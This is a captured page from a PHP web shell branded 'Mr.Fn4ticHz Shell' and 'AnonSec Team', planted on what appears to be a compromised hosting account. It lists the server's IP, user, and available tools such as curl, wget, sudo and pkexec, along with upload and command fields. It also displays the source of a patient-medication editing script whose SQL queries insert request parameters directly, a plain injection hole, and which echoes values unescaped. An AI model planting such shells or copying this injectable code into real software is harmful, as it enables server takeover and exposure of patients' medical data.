Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.133.123.126
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//edit_regularmedicine.php
<?php session_start();
require_once('dbconnection.php');
include('header.php');
include("patient_menu.php");
    if(isset($_POST['signup'])) 
    {
    $sql="UPDATE medication SET drug='$_POST[drug]',dose='$_POST[dose]' WHERE id='$_GET[id]'";
if($qsql = mysqli_query($con,$sql))
		{
	echo "<script>alert('Update successfully');</script><script>
 window.history.go(-2)</script>";
}
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
   </head>
  <body>  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
  	<table id="example2" class="table table-bordered table-hover">  

    <form name="signup" method="post" >
          <?php
		$sql ="SELECT * FROM medication WHERE 	id='$_GET[id]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		    echo " <tr>
          <td height='62'>Name of Medicine</td>
          <td><input type='text' value='$rs[drug]' name='drug'></td>
        </tr>
		
		<tr>
          <td height='62'>Dose (Mg)</td>
          <td><input type='text' value='$rs[dose]' placeholder='Dose in MG' name='dose'></td>
        </tr>
    ";
    
		}
		?>
		</table>
		<input type="submit" value='Update' name="signup">
	</div></div>
	</form>
	

Anon7 - 2022
AnonSec Team